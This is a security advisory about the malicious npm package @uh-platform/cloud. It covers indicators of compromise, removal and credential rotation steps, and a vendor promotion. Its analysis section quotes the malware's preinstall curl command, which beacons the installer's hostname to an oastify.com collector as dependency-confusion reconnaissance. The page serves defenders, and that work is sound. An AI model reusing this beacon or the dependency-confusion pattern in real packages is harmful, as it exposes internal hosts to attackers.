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Malicious package

@uh-platform/cloudnpm

Advisory published Updated

@uh-platform/cloud is a confirmed malicious npm package (MAL-2026-16358) that steals credentials and exfiltrates sensitive data (malicious version 101.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @uh-platform/cloud (npm)

MAL-2026-16358
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @uh-platform/cloud

What this malware does

The package's preinstall lifecycle script (index.js) runs child_process.exec of curl "http://$(hostname).pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/", placing the installer's hostname into the DNS label of a request to a Burp Collaborator out-of-band collector on oastify.com. This fires automatically on npm install before any user code runs. The scoped name (@uh-platform/*) combined with the OAST beacon carrying the internal hostname is the standard dependency-confusion reconnaissance pattern: the beacon identifies internal hosts that resolve the scope from the public registry, enabling follow-on targeting. No legitimate function of the package is present; the tarball's only on-install effect is the exfiltration beacon.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged
101.0.0

Indicators of compromise (SHA-256)

83c05c6e1f06ed934a3ec5f9cc0390716163153b53022c9f414d61f70f1cb451
294029629ac71f7246894d75066c86cc81f715c39cf5f372eadf5e9cf1c429cb

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for @uh-platform/cloud (version 101.0.0).

  2. If you installed it — respond

    @uh-platform/cloud is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If @uh-platform/cloud was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @uh-platform/cloud on npm has been identified as a malicious package (version 101.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020268GHSA-xrhc-2pph-j3f7

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks @uh-platform/cloud-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

@uh-platform/cloud (npm) malicious package — MAL-2026-16358 | O3 Security